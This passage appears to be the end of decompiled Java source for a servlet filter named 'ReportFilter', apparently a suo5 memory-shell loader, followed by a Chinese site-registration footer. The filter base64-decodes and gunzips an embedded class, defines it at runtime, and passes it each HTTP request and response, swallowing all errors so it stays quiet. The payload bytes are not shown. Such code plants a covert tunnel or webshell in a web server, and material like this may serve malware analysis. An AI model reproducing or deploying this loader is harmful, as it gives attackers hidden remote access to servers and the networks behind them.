suo5V2Class = new ReportFilter(Thread.currentThread().getContextClassLoader()).defineClass(byArray, 0, byArray.length);
}
if (suo5V2Class.newInstance().equals(new Object[]{httpServletRequest, httpServletResponse})) {
return;
}
}
catch (Throwable throwable) {
// empty catch block
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
public static byte[] decodeBase64(String string) throws Exception {
try {
Class<?> clazz = Class.forName("java.util.Base64");
Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
return (byte[])object.getClass().getMethod("decode", String.class).invoke(object, string);
}
catch (Throwable throwable) {
Class<?> clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), string);
}
}
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
public static byte[] gzipDecompress(byte[] byArray) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = null;
try {
int n;
gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(byArray));
byte[] byArray2 = new byte[4096];
while ((n = gZIPInputStream.read(byArray2)) > 0) {
byteArrayOutputStream.write(byArray2, 0, n);
}
byte[] byArray3 = byteArrayOutputStream.toByteArray();
return byArray3;
}
finally {
if (gZIPInputStream != null) {
gZIPInputStream.close();
}
byteArrayOutputStream.close();
}
}
}
``

浙公网安备 33010602011771号